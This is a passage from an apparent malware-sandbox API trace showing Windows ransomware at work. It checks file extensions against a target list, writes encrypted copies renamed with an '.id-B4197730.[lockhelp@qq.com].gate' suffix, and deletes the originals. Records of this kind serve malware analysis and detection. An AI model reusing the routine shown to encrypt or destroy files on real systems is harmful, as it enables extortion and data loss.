lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.423] lstrlenW (lpString=".xls") returned 4 [0116.423] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.423] lstrlenW (lpString=".xlsx") returned 5 [0116.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.424] lstrlenW (lpString=".ppt") returned 4 [0116.424] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.424] lstrlenW (lpString=".zip") returned 4 [0116.424] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.424] lstrlenW (lpString=".rar") returned 4 [0116.424] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.424] lstrlenW (lpString=".bz2") returned 4 [0116.424] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.424] lstrlenW (lpString=".7z") returned 3 [0116.424] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.424] lstrlenW (lpString=".dbf") returned 4 [0116.424] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.424] lstrlenW (lpString=".1cd") returned 4 [0116.424] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.425] lstrlenW (lpString=".jpg") returned 4 [0116.425] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.425] lstrlenW (lpString=".doc") returned 4 [0116.425] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.425] lstrlenW (lpString=".docx") returned 5 [0116.425] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.425] lstrlenW (lpString=".pdf") returned 4 [0116.425] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.425] lstrlenW (lpString=".xls") returned 4 [0116.425] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.425] lstrlenW (lpString=".xlsx") returned 5 [0116.425] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.425] lstrlenW (lpString=".ppt") returned 4 [0116.425] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.426] lstrlenW (lpString=".zip") returned 4 [0116.426] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.426] lstrlenW (lpString=".rar") returned 4 [0116.426] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.426] lstrlenW (lpString=".bz2") returned 4 [0116.451] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.451] lstrlenW (lpString=".7z") returned 3 [0116.451] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.451] lstrlenW (lpString=".dbf") returned 4 [0116.451] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.451] lstrlenW (lpString=".1cd") returned 4 [0116.451] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.452] lstrlenW (lpString=".jpg") returned 4 [0116.452] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.452] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0116.452] lstrlenW (lpString="Welcome.html") returned 12 [0116.452] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.452] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=955) returned 1 [0116.452] CloseHandle (hObject=0x368) returned 1 [0116.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0116.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.453] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.453] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0116.453] GetLastError () returned 0x0 [0116.453] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0116.455] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0116.456] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.456] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0116.456] SetEndOfFile (hFile=0x320) returned 1 [0116.457] CloseHandle (hObject=0x320) returned 1 [0116.457] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.457] SetEndOfFile (hFile=0x368) returned 1 [0116.458] CloseHandle (hObject=0x368) returned 1 [0116.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.459] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0116.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.459] lstrlenW (lpString=".doc") returned 4 [0116.459] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0116.459] lstrlenW (lpString=".docx") returned 5 [0116.459] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0116.459] lstrlenW (lpString=".pdf") returned 4 [0116.459] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0116.459] lstrlenW (lpString=".xls") returned 4 [0116.459] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0116.459] lstrlenW (lpString=".xlsx") returned 5 [0116.459] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0116.459] lstrlenW (lpString=".ppt") returned 4 [0116.460] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString=".zip") returned 4 [0116.460] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0116.460] lstrlenW (lpString=".rar") returned 4 [0116.460] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0116.460] lstrlenW (lpString=".bz2") returned 4 [0116.460] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0116.460] lstrlenW (lpString=".7z") returned 3 [0116.460] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString=".dbf") returned 4 [0116.460] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString=".1cd") returned 4 [0116.460] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString=".jpg") returned 4 [0116.460] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.460] lstrlenW (lpString=".doc") returned 4 [0116.460] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0116.460] lstrlenW (lpString=".docx") returned 5 [0116.460] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0116.460] lstrlenW (lpString=".pdf") returned 4 [0116.461] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0116.461] lstrlenW (lpString=".xls") returned 4 [0116.461] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0116.461] lstrlenW (lpString=".xlsx") returned 5 [0116.461] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0116.461] lstrlenW (lpString=".ppt") returned 4 [0116.461] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0116.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.461] lstrlenW (lpString=".zip") returned 4 [0116.461] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0116.461] lstrlenW (lpString=".rar") returned 4 [0116.461] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0116.461] lstrlenW (lpString=".bz2") returned 4 [0116.461] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0116.461] lstrlenW (lpString=".7z") returned 3 [0116.461] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0116.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.461] lstrlenW (lpString=".dbf") returned 4 [0116.461] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0116.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.461] lstrlenW (lpString=".1cd") returned 4 [0116.461] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0116.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0116.461] lstrlenW (lpString=".jpg") returned 4 [0116.461] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0116.462] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0116.462] lstrlenW (lpString="AppXManifest.xml") returned 16 [0116.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.462] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=5944055) returned 1 [0116.462] CloseHandle (hObject=0x368) returned 1 [0116.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0116.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0116.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.463] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc64 | out: lpNewFilePointer=0x0) returned 1 [0116.463] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.463] ReadFile (in: hFile=0x368, lpBuffer=0x4135058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc30, lpOverlapped=0x0 | out: lpBuffer=0x4135058*, lpNumberOfBytesRead=0x376fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.465] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x376fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.466] ReadFile (in: hFile=0x368, lpBuffer=0x4175058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc30, lpOverlapped=0x0 | out: lpBuffer=0x4175058*, lpNumberOfBytesRead=0x376fc30*=0x40000, lpOverlapped=0x0) returned 1 [0116.997] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0116.997] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x376fc24 | out: lpNewFilePointer=0x0) returned 1 [0116.997] ReadFile (in: hFile=0x368, lpBuffer=0x41b5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc30, lpOverlapped=0x0 | out: lpBuffer=0x41b5058*, lpNumberOfBytesRead=0x376fc30*=0x40000, lpOverlapped=0x0) returned 1 [0117.020] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.020] WriteFile (in: hFile=0x368, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x376fca8, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0117.462] SetEndOfFile (hFile=0x368) returned 1 [0117.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43914f8 [0117.506] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.506] WriteFile (in: hFile=0x368, lpBuffer=0x43914f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc80, lpOverlapped=0x0 | out: lpBuffer=0x43914f8*, lpNumberOfBytesWritten=0x376fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.540] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x376fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.540] WriteFile (in: hFile=0x368, lpBuffer=0x43914f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc80, lpOverlapped=0x0 | out: lpBuffer=0x43914f8*, lpNumberOfBytesWritten=0x376fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x376fc74 | out: lpNewFilePointer=0x0) returned 1 [0117.555] WriteFile (in: hFile=0x368, lpBuffer=0x43914f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc80, lpOverlapped=0x0 | out: lpBuffer=0x43914f8*, lpNumberOfBytesWritten=0x376fc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0117.560] CloseHandle (hObject=0x368) returned 1 [0118.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0118.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.223] lstrlenW (lpString=".doc") returned 4 [0118.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0118.223] lstrlenW (lpString=".docx") returned 5 [0118.223] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0118.224] lstrlenW (lpString=".pdf") returned 4 [0118.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString=".xls") returned 4 [0118.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString=".xlsx") returned 5 [0118.224] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0118.224] lstrlenW (lpString=".ppt") returned 4 [0118.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString=".zip") returned 4 [0118.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0118.224] lstrlenW (lpString=".rar") returned 4 [0118.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString=".bz2") returned 4 [0118.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString=".7z") returned 3 [0118.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString=".dbf") returned 4 [0118.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString=".1cd") returned 4 [0118.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString=".jpg") returned 4 [0118.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.224] lstrlenW (lpString=".doc") returned 4 [0118.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0118.224] lstrlenW (lpString=".docx") returned 5 [0118.224] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0118.225] lstrlenW (lpString=".pdf") returned 4 [0118.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString=".xls") returned 4 [0118.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString=".xlsx") returned 5 [0118.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0118.225] lstrlenW (lpString=".ppt") returned 4 [0118.225] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.225] lstrlenW (lpString=".zip") returned 4 [0118.225] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0118.225] lstrlenW (lpString=".rar") returned 4 [0118.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString=".bz2") returned 4 [0118.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString=".7z") returned 3 [0118.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0118.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.225] lstrlenW (lpString=".dbf") returned 4 [0118.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.225] lstrlenW (lpString=".1cd") returned 4 [0118.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0118.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0118.225] lstrlenW (lpString=".jpg") returned 4 [0118.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0118.225] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0118.226] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0118.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0121.006] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0121.006] CloseHandle (hObject=0x314) returned 1 [0121.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0121.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0121.007] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.007] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0124.318] GetLastError () returned 0x0 [0124.318] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0124.510] WriteFile (in: hFile=0x348, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0124.511] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0124.511] WriteFile (in: hFile=0x348, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.511] SetEndOfFile (hFile=0x348) returned 1 [0124.511] CloseHandle (hObject=0x348) returned 1 [0124.515] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.515] SetEndOfFile (hFile=0x314) returned 1 [0124.516] CloseHandle (hObject=0x314) returned 1 [0124.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0124.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.517] lstrlenW (lpString=".doc") returned 4 [0124.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString=".docx") returned 5 [0124.517] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned 